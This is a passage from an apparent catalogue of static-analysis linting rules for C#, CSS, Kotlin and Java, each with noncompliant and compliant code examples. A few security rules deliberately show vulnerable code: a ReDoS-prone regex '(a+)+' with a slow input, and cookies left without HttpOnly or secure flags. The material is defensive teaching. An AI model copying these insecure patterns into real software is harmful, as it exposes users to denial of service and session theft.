}
else if (x == 1)
{
    DoSomethingElse();
}

Compliant Solution

if (x == 0)
{
    DoSomething();
}
else if (x == 1)
{
    DoSomethingElse();
}
else
{
    throw new InvalidOperationException();
}

Exceptions

None

See

csharpsquid:S127

A for loop stop condition should test the loop counter against an invariant value (i.e. one that is true at both the beginning and ending of every loop iteration). Ideally, this means that the stop condition is set to a local variable just before the loop begins.

Stop conditions that are not invariant are slightly less efficient, as well as being difficult to understand and maintain, and likely lead to the introduction of errors in the future.

This rule tracks three types of non-invariant stop conditions:

  • When the loop counters are updated in the body of the for loop
  • When the stop condition depend upon a method call
  • When the stop condition depends on an object property, since such properties could change during the execution of the loop.

Noncompliant Code Example

class Foo
{
    static void Main()
    {
        for (int i = 1; i <= 5; i++)
        {
            Console.WriteLine(i);
            if (condition)
            {
               i = 20;
           }
        }
    }
}

Compliant Solution

class Foo
{
    static void Main()
    {
        for (int i = 1; i <= 5; i++)
        {
            Console.WriteLine(i);
        }
    }
}
csharpsquid:S3450

There is no point in providing a default value for a parameter if callers are required to provide a value for it anyway. Thus, [DefaultParameterValue] should always be used in conjunction with [Optional].

Noncompliant Code Example

public void MyMethod([DefaultParameterValue(5)] int j) //Noncompliant, useless
{
  Console.WriteLine(j);
}

Compliant Solution

public void MyMethod(int j = 5)
{
  Console.WriteLine(j);
}

or

public void MyMethod([DefaultParameterValue(5)][Optional] int j)
{
  Console.WriteLine(j);
}
csharpsquid:S125

Programmers should not comment out code as it bloats programs and reduces readability.

Unused code should be deleted and can be retrieved from source control history if required.

csharpsquid:S2360

The overloading mechanism should be used in place of optional parameters for several reasons:

  • Optional parameter values are baked into the method call site code, thus, if a default value has been changed, all referencing assemblies need to be rebuilt, otherwise the original values will be used.
  • The Common Language Specification (CLS) allows compilers to ignore default parameter values, and thus require the caller to explicitly specify the values. For example, if you want to consume a method with default argument from another .NET compatible language (for instance C++/CLI), you will have to provide all arguments. When using method overloads, you could achieve similar behavior as default arguments.
  • Optional parameters prevent muddying the definition of the function contract. Here is a simple example: if there are two optional parameters, when one is defined, is the second one still optional or mandatory?

Noncompliant Code Example

void Notify(string company, string office = "QJZ") // Noncompliant
{
}

Compliant Solution

void Notify(string company)
{
  Notify(company, "QJZ");
}
void Notify(string company, string office)
{
}

Exceptions

The rule ignores non externally visible methods.

csharpsquid:S1151

The switch statement should be used only to clearly define some new branches in the control flow. As soon as a case clause contains too many statements this highly decreases the readability of the overall control flow statement. In such case, the content of the case clause should be extracted into a dedicated method.

Noncompliant Code Example

With the default threshold of 3:

switch (myVariable)
{
    case 0: // Noncompliant: 5 statements in the case
        methodCall1("");
        methodCall2("");
        methodCall3("");
        methodCall4("");
        break;
    case 1:
        ...
}

Compliant Solution

switch (myVariable)
{
    case 0:
        DoSomething()
        break;
    case 1:
        ...
}
...
private void DoSomething()
{
    methodCall1("");
    methodCall2("");
    methodCall3("");
    methodCall4("");
}
csharpsquid:S927

The name of a parameter in an externally visible method override does not match the name of the parameter in the base declaration of the method, or the name of the parameter in the interface declaration of the method or the name of any other partial definition.

Noncompliant Code Example

partial class Point
{
  partial void MoveVertically(int z);
}

partial class Point
{
  int x = 0;
  int y = 0;
  int z = 0;

  partial void MoveVertically(int y)  // Noncompliant
  {
    this.y = y;
  }
}

interface IFoo
{
  void Bar(int i);
}

class Foo : IFoo
{
  void Bar(int z) // Noncompliant, parameter name should be i
  {
  }
}

Compliant Solution

partial class Point
{
  partial void MoveVertically(int z);
}

partial class Point
{
  int x = 0;
  int y = 0;
  int z = 0;

  partial void MoveVertically(int z)
  {
    this.z = z;
  }
}

interface IFoo
{
  void Bar(int i);
}

class Foo : IFoo
{
  void Bar(int i)
  {
  }
}

See

  • CERT, DCL40-C. - Do not create incompatible declarations of the same function or object
csharpsquid:S3218

It's possible to name the members of an inner class the same as the static members of its enclosing class - possible, but a bad idea. That's because maintainers may be confused about which members are being used where. Instead the inner class' members should be renamed and all the references updated.

Noncompliant Code Example

class Outer
{
  public static int A;

  public class Inner
  {
    public int A; //Noncompliant
    public int MyProp
    {
      get { return A; }  // Returns inner A. Was that intended?
    }
  }
}

After a rename

class Outer
{
  public static int A;

  public class Inner
  {
    public int B;
    public int MyProp
    {
      get { return A; }  // Still compiles and runs but functionality has changed
    }
  }
}

Compliant Solution

class Outer
{
  public static int A;

  public class Inner
  {
    public int InnerA;
    public int MyProp
    {
      get { return InnerA; }
    }
  }
}

See

csharpsquid:S3217

The foreach statement was introduced in the C# language prior to generics to make it easier to work with the non-generic collections available at that time such as ArrayList. The foreach statements allows you to downcast elements of a collection of Objects to any other type. The problem is that to achieve the cast, the foreach statements silently performs explicit type conversion, which at runtime can result in an InvalidCastException.

C# code iterating on generic collections or arrays should not rely on foreach statement's silent explicit conversions.

Noncompliant Code Example

public class Fruit { }
public class Orange : Fruit { }
public class Apple : Fruit { }

class MyTest
{
  public void Test()
  {
    var fruitBasket = new List<Fruit>();
    fruitBasket.Add(new Orange());
    fruitBasket.Add(new Orange());
    // fruitBasket.Add(new Apple());  // uncommenting this line will make both foreach below throw an InvalidCastException

    foreach (Fruit fruit in fruitBasket)
    {
      var orange = (Orange)fruit; // This "explicit" conversion is hidden within the foreach loop below
      ...
    }

    foreach (Orange orange in fruitBasket) // Noncompliant
    {
      ...
    }
  }
}

Compliant Solution

var fruitBasket = new List<Orange>();
fruitBasket.Add(new Orange());
fruitBasket.Add(new Orange());
// fruitBasket.Add(new Apple());  // uncommenting this line won't compile

foreach (Orange orange in fruitBasket)
{
  ...
}

or

var fruitBasket = new List<Fruit>();
fruitBasket.Add(new Orange());
fruitBasket.Add(new Orange());
fruitBasket.Add(new Apple());

foreach (Orange orange in fruitBasket.OfType<Orange>())
{
  ...
}

Exceptions

The rule ignores iterations on collections of objects. This includes legacy code that uses ArrayList. Furthermore, the rule does not report on cases when user defined conversions are being called.

csharpsquid:S3459

Fields and auto-properties that are never assigned to hold the default values for their types. They are either pointless code or, more likely, mistakes.

Noncompliant Code Example

class MyClass
{
  private int field; // Noncompliant, shouldn't it be initialized? This way the value is always default(int), 0.
  private int Property { get; set; }  // Noncompliant
  public void Print()
  {
    Console.WriteLine(field); //Will always print 0
    Console.WriteLine(Property); //Will always print 0
  }
}

Compliant Solution

class MyClass
{
  private int field = 1;
  private int Property { get; set; } = 42;
  public void Print()
  {
    field++;
    Console.WriteLine(field);
    Console.WriteLine(Property);
  }
}
csharpsquid:S4428

The PartCreationPolicyAttribute attribute, which is part of the Managed Extensibility Framework (MEF), is used to specify how the exported object will be created. Therefore it doesn't make sense not to export this a class with this attribute using the ExportAttribute attribute.

This rule raises an issue when a class is marked as shared with a PartCreationPolicyAttribute but lacks a ExportAttribute.

Noncompliant Code Example

[PartCreationPolicy(CreationPolicy.Any)] // Noncompliant
public class FooBar : IFooBar
{
}

Compliant Solution

[Export(typeof(IFooBar))]
[PartCreationPolicy(CreationPolicy.Any)]
public class FooBar : IFooBar
{
}
csharpsquid:S4784

Using regular expressions is security-sensitive. It has led in the past to the following vulnerabilities:

Evaluating regular expressions against input strings is potentially an extremely CPU-intensive task. Specially crafted regular expressions such as (a+)+s will take several seconds to evaluate the input string aaaaaaaaaaaaaaaaaaaaaaaaaaaaabs. The problem is that with every additional a character added to the input, the time required to evaluate the regex doubles. However, the equivalent regular expression, a+s (without grouping) is efficiently evaluated in milliseconds and scales linearly with the input size.

Evaluating such regular expressions opens the door to Regular expression Denial of Service (ReDoS) attacks. In the context of a web application, attackers can force the web server to spend all of its resources evaluating regular expressions thereby making the service inaccessible to genuine users.

This rule flags any execution of a hardcoded regular expression which has at least 3 characters and at least two instances of any of the following characters: *+{.

Example: (a+)*

Ask Yourself Whether

  • the executed regular expression is sensitive and a user can provide a string which will be analyzed by this regular expression.
  • your regular expression engine performance decrease with specially crafted inputs and regular expressions.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Check whether your regular expression engine (the algorithm executing your regular expression) has any known vulnerabilities. Search for vulnerability reports mentioning the one engine you're are using.

If the regular expression is vulnerable to ReDos attacks, mitigate the risk by using a "match timeout" to limit the time spent running the regular expression.

Remember also that a ReDos attack is possible if a user-provided regular expression is executed. This rule won't detect this kind of injection.

Sensitive Code Example

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.Serialization;
using System.Text.RegularExpressions;
using System.Web;

namespace N
{
    public class RegularExpression
    {
        void Foo(RegexOptions options, TimeSpan matchTimeout, string input,
                 string replacement, MatchEvaluator evaluator)
        {
            // All the following instantiations are Sensitive.
            new System.Text.RegularExpressions.Regex("(a+)+");
            new System.Text.RegularExpressions.Regex("(a+)+", options);
            new System.Text.RegularExpressions.Regex("(a+)+", options, matchTimeout);

            // All the following static methods are Sensitive.
            System.Text.RegularExpressions.Regex.IsMatch(input, "(a+)+");
            System.Text.RegularExpressions.Regex.IsMatch(input, "(a+)+", options);
            System.Text.RegularExpressions.Regex.IsMatch(input, "(a+)+", options, matchTimeout);

            System.Text.RegularExpressions.Regex.Match(input, "(a+)+");
            System.Text.RegularExpressions.Regex.Match(input, "(a+)+", options);
            System.Text.RegularExpressions.Regex.Match(input, "(a+)+", options, matchTimeout);

            System.Text.RegularExpressions.Regex.Matches(input, "(a+)+");
            System.Text.RegularExpressions.Regex.Matches(input, "(a+)+", options);
            System.Text.RegularExpressions.Regex.Matches(input, "(a+)+", options, matchTimeout);

            System.Text.RegularExpressions.Regex.Replace(input, "(a+)+", evaluator);
            System.Text.RegularExpressions.Regex.Replace(input, "(a+)+", evaluator, options);
            System.Text.RegularExpressions.Regex.Replace(input, "(a+)+", evaluator, options, matchTimeout);
            System.Text.RegularExpressions.Regex.Replace(input, "(a+)+", replacement);
            System.Text.RegularExpressions.Regex.Replace(input, "(a+)+", replacement, options);
            System.Text.RegularExpressions.Regex.Replace(input, "(a+)+", replacement, options, matchTimeout);

            System.Text.RegularExpressions.Regex.Split(input, "(a+)+");
            System.Text.RegularExpressions.Regex.Split(input, "(a+)+", options);
            System.Text.RegularExpressions.Regex.Split(input, "(a+)+", options, matchTimeout);
        }
    }
}

Exceptions

Some corner-case regular expressions will not raise an issue even though they might be vulnerable. For example: (a|aa)+, (a|a?)+.

It is a good idea to test your regular expression if it has the same pattern on both side of a "|".

See

Deprecated

This rule is deprecated; use S2631 instead.

csharpsquid:S3330

When a cookie is configured with the HttpOnly attribute set to true, the browser guaranties that no client-side script will be able to read it. In most cases, when a cookie is created, the default value of HttpOnly is false and it's up to the developer to decide whether or not the content of the cookie can be read by the client-side script. As a majority of Cross-Site Scripting (XSS) attacks target the theft of session-cookies, the HttpOnly attribute can help to reduce their impact as it won't be possible to exploit the XSS vulnerability to steal session-cookies.

Ask Yourself Whether

  • the cookie is sensitive, used to authenticate the user, for instance a session-cookie
  • the HttpOnly attribute offer an additional protection (not the case for an XSRF-TOKEN cookie / CSRF token for example)

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • By default the HttpOnly flag should be set to true for most of the cookies and it's mandatory for session / sensitive-security cookies.

Sensitive Code Example

For example In C# you can specify the HttpOnly flag for HttpCookie object.

HttpCookie myCookie = new HttpCookie("Sensitive cookie");
myCookie.HttpOnly = false;  // Sensitive:  this sensitive cookie is created with the httponly flag set to false and so it can be stolen easily in case of XSS vulnerability

The default value of secure flag is false:

HttpCookie myCookie = new HttpCookie("Sensitive cookie");
// Sensitive: this sensitive cookie is created with the httponly flag not defined (by default set to false)  and so it can be stolen easily in case of XSS vulnerability

Compliant Solution

HttpCookie myCookie = new HttpCookie("Sensitive cookie");
myCookie.HttpOnly = true; // Compliant: the sensitive cookie is protected against theft thanks to the HttpOnly property set to true (HttpOnly = true)

See

csharpsquid:S3693

It may be a good idea to raise an exception in a constructor if you're unable to fully flesh the object in question, but not in an exception constructor. If you do, you'll interfere with the exception that was originally being thrown. Further, it is highly unlikely that an exception raised in the creation of an exception will be properly handled in the calling code, and the unexpected, unhandled exception will lead to program termination.

Noncompliant Code Example

class MyException: Exception
{
    public void MyException()
    {
         if (bad_thing)
         {
             throw new Exception("A bad thing happened");  // Noncompliant
          }
    }
}

Deprecated

This rule is deprecated, and will eventually be removed.

csharpsquid:S134

Nested if, switch, for, foreach, while, do, and try statements are key ingredients for making what's known as "Spaghetti code".

Such code is hard to read, refactor and therefore maintain.

Noncompliant Code Example

With the default threshold of 3:

if (condition1) // Compliant - depth = 1
{
  /* ... */
  if (condition2) // Compliant - depth = 2
  {
    /* ... */
    for(int i = 0; i < 10; i++) // Compliant - depth = 3, not exceeding the limit
    {
      /* ... */
      if (condition4) // Noncompliant - depth = 4
      {
        if (condition5) // Depth = 5, exceeding the limit, but issues are only reported on depth = 4
        {
          /* ... */
        }
        return;
      }
    }
  }
}
csharpsquid:S3451

The use of [DefaultValue] with [Optional] has no more effect than [Optional] alone. That's because [DefaultValue] doesn't actually do anything; it merely indicates the intent for the value. More than likely, [DefaultValue] was used in confusion instead of [DefaultParameterValue].

Noncompliant Code Example

class MyClass
{
    public void DoStuff([Optional][DefaultValue(4)]int i, int j = 5)  // Noncompliant
    {
        Console.WriteLine(i);
    }

    public static void Main()
    {
        new MyClass().DoStuff(); // prints 0
    }
}

Compliant Solution

class MyClass
{
    public void DoStuff([Optional][DefaultParameterValue(4)]int i, int j = 5)
    {
        Console.WriteLine(i);
    }

    public static void Main()
    {
        new MyClass().DoStuff(); // prints 4
    }
}
csharpsquid:S2486

When exceptions occur, it is usually a bad idea to simply ignore them. Instead, it is better to handle them properly, or at least to log them.

This rule only reports on empty catch clauses that catch generic Exceptions.

Noncompliant Code Example

string text = "";
try
{
    text = File.ReadAllText(fileName);
}
catch (Exception exc) // Noncompliant
{
}

Compliant Solution

string text = "";
try
{
    text = File.ReadAllText(fileName);
}
catch (Exception exc)
{
    logger.Log(exc);
}

Exceptions

When a block contains a comment, it is not considered to be empty.

See

csharpsquid:S2365

Most developers expect property access to be as efficient as field access. However, if a property returns a copy of an array or collection, it will be much slower than simple field access, contrary to the caller's likely expectations. Therefore, such properties should be refactored into methods so that callers are not surprised by the unexpectedly poor performance.

This rule detects calls to ToList, ToArray and array Clone.

Noncompliant Code Example

private List<string> _foo = new List<string> { "a", "b", "c" };
public IEnumerable<string> Foo  // Noncompliant
{
    get
    {
        return _foo.ToList();
    }
}

private string[] _bar = new string[] { "a", "b", "c" };
public IEnumerable<string> Bar // Noncompliant
{
    get
    {
        return (string[])_bar.Clone();
    }
}

Compliant Solution

private List<string> _foo = new List<string> { "a", "b", "c" };
private string[] _bar = new string[] { "a", "b", "c" };

public IEnumerable<string> GetFoo()
{
    return _foo.ToList();
}

public IEnumerable<string> GetBar()
{
    return (string[])_bar.Clone();
}
csharpsquid:S131

The requirement for a final default clause is defensive programming. The clause should either take appropriate action, or contain a suitable comment as to why no action is taken. Even when the switch covers all current values of an enum, a default case should still be used because there is no guarantee that the enum won't be extended.

Noncompliant Code Example

int foo = 42;
switch (foo) // Noncompliant
{
  case 0:
    Console.WriteLine("foo = 0");
    break;
  case 42:
    Console.WriteLine("foo = 42");
    break;
}

Compliant Solution

int foo = 42;
switch (foo) // Compliant
{
  case 0:
    Console.WriteLine("foo = 0");
    break;
  case 42:
    Console.WriteLine("foo = 42");
    break;
  default:
    throw new InvalidOperationException("Unexpected value foo = " + foo);
}

See

csharpsquid:S2123

A value that is incremented or decremented and then not stored is at best wasted code and at worst a bug.

Noncompliant Code Example

public int PickNumber()
{
  int i = 0;
  int j = 0;

  i = i++; // Noncompliant; i is still zero

  return j++; // Noncompliant; 0 returned
}

Compliant Solution

public int PickNumber()
{
  int i = 0;
  int j = 0;

  i++;
  return ++j;
}
csharpsquid:S3453

A class with only private constructors can't be instantiated, thus, it seems to be pointless code.

Noncompliant Code Example

public class MyClass // Noncompliant
{
  private MyClass() { ... }
}

Compliant Solution

public class MyClass
{
  public MyClass() { ... }
}

Exceptions

Classes that themselves access their private constructors (singletons or smart enums) are ignored. Classes with only static members are also ignored because they are covered by Rule S1118.

csharpsquid:S1155

Using .Count() to test for emptiness works, but using .Any() makes the intent clearer, and the code more readable. However, there are some cases where special attention should be paid:

- if the collection is an EntityFramework or other ORM query, calling .Count() will cause executing a potentially massive SQL query and could put a large overhead on the application database. Calling .Any() will also connect to the database, but will generate much more efficient SQL.

- if the collection is part of a LINQ query that contains .Select() statements that create objects, a large amount of memory could be unnecessarily allocated. Calling .Any() will be much more efficient because it will execute fewer iterations of the enumerable.

Noncompliant Code Example

private static bool HasContent(IEnumerable<string> strings)
{
  return strings.Count() > 0;  // Noncompliant
}

private static bool HasContent2(IEnumerable<string> strings)
{
  return strings.Count() >= 1;  // Noncompliant
}

private static bool IsEmpty(IEnumerable<string> strings)
{
  return strings.Count() == 0;  // Noncompliant
}

Compliant Solution

private static bool HasContent(IEnumerable<string> strings)
{
  return strings.Any();
}

private static bool IsEmpty(IEnumerable<string> strings)
{
  return !strings.Any();
}
css:S4670

HTML, SVG, and MathML define the selectors which can be used in a CSS. A selector that is not part of them is likely to be a typo or a misunderstanding of the CSS syntax.

Noncompliant Code Example

field {}

ul list {}

Compliant Solution

input {}

ul li {}
css:S4660

The W3C specifications define the valid pseudo-element selectors. Only the official and browser-specific pseudo-element selectors should be used to get the expected impact in the final rendering.

Noncompliant Code Example

a::beforre { /* Noncompliant; there is a typo on the word "before" */
...
}

Compliant Solution

a::before {
...
}
css:S4649

If none of the font names defined in a font or font-family declaration are available on the browser of the user, the browser will display the text using its default font. It's recommended to always define a generic font family for each declaration of font or font-family to get a less degraded situation than relying on the default browser font. All browsers should implement a list of generic font matching these families: Serif, Sans-serif, cursive, fantasy, Monospace.

Noncompliant Code Example

a {
  font-family: Helvetica, Arial, Verdana, Tahoma; /* Noncompliant; there is no generic font family in the list */
}

Compliant Solution

a {
  font-family: Helvetica, Arial, Verdana, Tahoma, sans-serif;
}

See

css:S1116

Extra semicolons are usually introduced by mistake, for example because:

  • It was meant to be replaced by one more property declaration, but this was forgotten.
  • There was a typo which lead the semicolon to be doubled, i.e. ;;.

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
  • CERT, MSC51-J. - Do not place a semicolon immediately following an if, for, or while condition
  • CERT, EXP15-C. - Do not place a semicolon on the same line as an if, for, or while statement
css:S1128

Having the import of the same file twice, makes one of them useless. Leaving them in reduces the code's readability, since their presence can be confusing.

Noncompliant Code Example

@import 'a.css';
@import 'a.css'; // Noncompliant

@import url("a.css");
@import url("a.css"); // Noncompliant

Exceptions

This rule ignores @import in less files.

css:S4658

Leftover empty blocks are usually introduced by mistake. They are useless and prevent readability of the code. They should be removed or completed with real code.

Noncompliant Code Example

a { }

Compliant Solution

a { color: pink; }
css:S4647

An invalid color definition will by default be interpreted as black, which is likely to have unintended impacts on the expected look and feel of the website.

This rule raises an issue when a color definition (color, background-color) is not valid. The color definition is considered valid when it is made of hexadecimal characters:

- longhand: 6 or 8 characters (when alpha is defined)

- shorthand variant: 3 or 4 characters (when alpha is defined)

Noncompliant Code Example

a {
 color: #3c; /* Noncompliant; shorthand should be made of 3 characters */
}
div {
  background-color: #3cb371a; /* Noncompliant; alpha should have 2 characters */
}

Compliant Solution

a {
 color: #3cc;
}
div {
  background-color: #3cb371ac;
}

See

css:S4648

Having duplicated font names doesn't help to read the font declaration and may be an indicator the author of the line was not sure how to configure it. This rule raises an issue when font or font-family properties contain a duplicated font name. This rule ignores $sass, @less, and var(--custom-property) variable syntaxes.

Noncompliant Code Example

a {
  font-family: 'Georgia', Georgia, serif; /* Noncompliant; 'Georgia' is duplicated */
}

Compliant Solution

a {
  font-family: Georgia, serif;
}
css:S4659

The W3C specifications define the valid pseudo-class selectors. Only the official and browser-specific pseudo-class selectors should be used to get the expected impact in the final rendering.

Noncompliant Code Example

a:hoverr { /* Noncompliant; there is a typo on the word "hover" */
...
}

Compliant Solution

a:hover {
...
}
css:S4663

An empty multi-line comment is likely to be a mistake and doesn't help to improve the readability of the code. For these reasons, it should be removed.

Noncompliant Code Example

/* */

/*

 */
css:S4652

According to the W3C specifications:

A string cannot directly contain a newline. To include a newline in a string, use an escape representing the line feed character in ISO-10646 (U+000A), such as "\A" or "\00000a".

[...]

It is possible to break strings over several lines, for aesthetic or other reasons, but in such a case the newline itself has to be escaped with a backslash (\).

Noncompliant Code Example

a {
  content: "first
    second";
}

Compliant Solution

a {
  content: "first\Asecond";
}

See

css:S4664

Order of instructions in CSS is important: instructions with equal specificity that occur later in the file take the priority. But when a selector with a higher specificity (e.g. p a { color: green;}) comes before the selector it overrides (e.g.: a { color: green;}), the priority is given to the first one. Even if it works properly, this is harder to anticipate the behaviour of the stylesheet while reading as it goes against the principle that the last instruction takes the priority.

Noncompliant Code Example

p a {
  color: green;
}

a {
  color: blue;
}

Compliant Solution

a {
  color: blue;
}

p a {
  color: green;
}
css:S4653

The W3C specifications define the units that can be used with lengths. A unit that is not part of the list of supported ones is likely to be a typo and will be seen as a UI bug by the user.

This rule raises an issue each time a unit is not officially supported.

Noncompliant Code Example

a {
  width: 10pixels; /* Noncompliant; "pixels" is not a valid unit */
}

Compliant Solution

a {
  width: 10px;
}

See

css:S4650

calc is a CSS3 function that provides the possibility to do simple math in CSS (add, subtract, divide, multiply). Without spaces around operators, calc will have no effect.

More precisely, before an operator, there must be a single whitespace or a newline plus indentation. After an operator, there must be a single whitespace or a newline.

Noncompliant Code Example

#div1 {
    position: absolute;
    width: calc(100%- 100px); /* Noncompliant; no space after the % sign */
}

Compliant Solution

#div1 {
    position: absolute;
    width: calc(100% - 100px);
}
css:S4661

The W3C specifications define the valid media features. Only the official and browser-specific media features should be used to get the expected impact in the final rendering.

Noncompliant Code Example

@media screen and (unknown: 1000px) { .. }

Compliant Solution

@media screen and (width: 1000px) { .. }

See

css:S4662

The W3C specifications define the valid at-rules. Only the official and browser-specific at-rules should be used to get the expected impact in the final rendering.

Noncompliant Code Example

@encoding "utf-8";

Compliant Solution

@charset "utf-8";
css:S4651

linear-gradient was standardized with CSS3. Before that, it was possible to use different non-standard values to define the gradient's direction. Because these values are not standard, they are not supported in all browsers and therefore they should no longer be used in order to get the expected gradient in the latest browser versions that support CSS3.

This rule raises an issue when the first parameter of a linear-gradient is not a valid <side-or-corner> or angle.

Noncompliant Code Example

.foo {
  background: -webkit-linear-gradient(to top, #fff, #000);
  background: linear-gradient(top, #fff, #000);
}

.bar {
  background: linear-gradient(45, #fff, #000);
}

Compliant Solution

.foo {
  background: -webkit-linear-gradient(top, #fff, #000);
  background: linear-gradient(to top, #fff, #000);
}

.bar {
  background: linear-gradient(45deg, #fff, #000);
}

See

css:S4656

CSS allows duplicate property names but only the last instance of a duplicated name determines the actual value that will be used for it. Therefore, changing values of other occurrences of a duplicated name will have no effect and may cause misunderstandings and bugs.

This rule ignores $sass, @less, and var(--custom-property) variable syntaxes.

Noncompliant Code Example

a {
  color: pink;
  background: orange;
  color: orange
}

Compliant Solution

a {
  color: pink;
  background: orange
}
css:S4667

This rule raises an issue when a CSS file is empty (ie: containing only spaces).

css:S4657

A shorthand property defined after a longhand property will completely override the value defined in the longhand property making the longhand one useless. The code should be refactored to consider the longhand property or to remove it completely.

Noncompliant Code Example

a {
  padding-left: 10px;
  padding: 20px; /* Noncompliant; padding is overriding padding-left making it useless */
}

Compliant Solution

a {
  padding: 10px; /* Compliant; padding is defining a general behaviour and padding-left, just after, is precising the left case */
  padding-left: 20px;
}

See

css:S4668

The W3C specifications say comments should be defined using /* ... */. The use of // is not supported on all browsers and can lead to unexpected results.

Noncompliant Code Example

// some comment
a { color: pink; }

Compliant Solution

/* some comment */
a { color: pink; }

Exceptions

This rule ignores single line comments in less and scss files.

css:S4654

The W3C specifications define the valid CSS properties. Only the official and browser-specific properties should be used to get the expected impact in the final rendering.

This rule ignores:

- $sass, @less, and var(--custom-property) variable syntaxes.

- vendor-prefixed properties (e.g., -moz-align-self, -webkit-align-self).

Noncompliant Code Example

a {
  colour: blue; /* Noncompliant; colour is not part of the specifications */
}

Compliant Solution

a {
  color: blue;
}
css:S4655

!important within keyframes declarations is completely ignored in some browsers and therefore it should not be used to be consistent among all browsers.

Noncompliant Code Example

@keyframes kf {
  from { margin-top: 50px; }
  50%  { margin-top: 150px !important; } /* Noncompliant; ignored */
  to   { margin-top: 100px; }
}

Compliant Solution

@keyframes kf {
  from { margin-top: 50px; }
  50%  { margin-top: 150px; }
  to   { margin-top: 100px; }
}

See

css:S4666

Duplication of selectors might indicate a copy-paste mistake. The rule detects the following kinds of duplications:

  • within a list of selectors in a single rule set
  • for duplicated selectors in different rule sets within a single stylesheet.

Noncompliant Code Example

.foo, .bar, .foo { ... }  /* Noncompliant */

.class1 { ... }
.class1 { ... }  /* Noncompliant */

Compliant Solution

.foo, .bar { ... }

.class1 { ... }
.class2 { ... }
common-js:InsufficientBranchCoverage
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
common-js:InsufficientLineCoverage
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
common-js:InsufficientCommentDensity
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
common-js:DuplicatedBlocks
An issue is created on a file as soon as there is at least one block of duplicated code on this file
common-js:SkippedUnitTests
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
common-js:FailedUnitTests
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
common-kotlin:InsufficientBranchCoverage
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
common-kotlin:InsufficientLineCoverage
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
common-kotlin:InsufficientCommentDensity
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
common-kotlin:DuplicatedBlocks
An issue is created on a file as soon as there is at least one block of duplicated code on this file
common-kotlin:SkippedUnitTests
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
common-kotlin:FailedUnitTests
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
java:S2093

Java 7 introduced the try-with-resources statement, which guarantees that the resource in question will be closed. Since the new syntax is closer to bullet-proof, it should be preferred over the older try/catch/finally version.

This rule checks that close-able resources are opened in a try-with-resources statement.

Note that this rule is automatically disabled when the project's sonar.java.source is lower than 7.

Noncompliant Code Example

FileReader fr = null;
BufferedReader br = null;
try {
  fr = new FileReader(fileName);
  br = new BufferedReader(fr);
  return br.readLine();
} catch (...) {
} finally {
  if (br != null) {
    try {
      br.close();
    } catch(IOException e){...}
  }
  if (fr != null ) {
    try {
      br.close();
    } catch(IOException e){...}
  }
}

Compliant Solution

try (
    FileReader fr = new FileReader(fileName);
    BufferedReader br = new BufferedReader(fr)
  ) {
  return br.readLine();
}
catch (...) {}

or

try (BufferedReader br =
        new BufferedReader(new FileReader(fileName))) { // no need to name intermediate resources if you don't want to
  return br.readLine();
}
catch (...) {}

See

  • CERT, ERR54-J. - Use a try-with-resources statement to safely handle closeable resources
java:S899

When the return value of a function call contain the operation status code, this value should be tested to make sure the operation completed successfully.

This rule raises an issue when the return values of the following are ignored:

  • java.io.File operations that return a status code (except mkdirs)
  • Iterator.hasNext()
  • Enumeration.hasMoreElements()
  • Lock.tryLock()
  • non-void Condition.await* methods
  • CountDownLatch.await(long, TimeUnit)
  • Semaphore.tryAcquire
  • BlockingQueue: offer, remove

Noncompliant Code Example

public void doSomething(File file, Lock lock) {
  file.delete();  // Noncompliant
  // ...
  lock.tryLock(); // Noncompliant
}

Compliant Solution

public void doSomething(File file, Lock lock) {
  if (!lock.tryLock()) {
    // lock failed; take appropriate action
  }
  if (!file.delete()) {
    // file delete failed; take appropriate action
  }
}

See

java:S2092

When a cookie is protected with the secure attribute set to true it will not be send by the browser over an unencrypted HTTP request and thus cannot be observed by an unauthorized person during a man-in-the-middle attack.

Ask Yourself Whether

  • the cookie is for instance a session-cookie not designed to be sent over non-HTTPS communication.
  • it's not sure that the website contains mixed content or not (ie HTTPS everywhere or not)

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • It is recommended to use HTTPs everywhere so setting the secure flag to true should be the default behaviour when creating cookies.
  • Set the secure flag to true for session-cookies.

Sensitive Code Example

If you create a security-sensitive cookie in your JAVA code:

Cookie c = new Cookie(COOKIENAME, sensitivedata);
c.setSecure(false);  // Sensitive: a security-ensitive cookie is created with the secure flag set to false

By default the secure flag is set to false:

Cookie c = new Cookie(COOKIENAME, sensitivedata);  // Sensitive: a security-sensitive cookie is created with the secure flag not defined (by default set to false)

Compliant Solution

Cookie c = new Cookie(COOKIENAME, sensitivedata);
c.setSecure(true); // Compliant: the sensitive cookie will not be send during an unencrypted HTTP request thanks to the secure flag set to true

See

java:S4274

An assert is inappropriate for parameter validation because assertions can be disabled at runtime in the JVM, meaning that a bad operational setting would completely eliminate the intended checks. Further, asserts that fail throw AssertionErrors, rather than throwing some type of Exception. Throwing Errors is completely outside of the normal realm of expected catch/throw behavior in normal programs.

This rule raises an issue when a public method uses one or more of its parameters with asserts.

Noncompliant Code Example

 public void setPrice(int price) {
  assert price >= 0 && price <= MAX_PRICE;
  // Set the price
 }

Compliant Solution

 public void setPrice(int price) {
  if (price < 0 || price > MAX_PRICE) {
    throw new IllegalArgumentException("Invalid price: " + price);
  }
  // Set the price
 }

See

Programming With Assertions

java:S2095

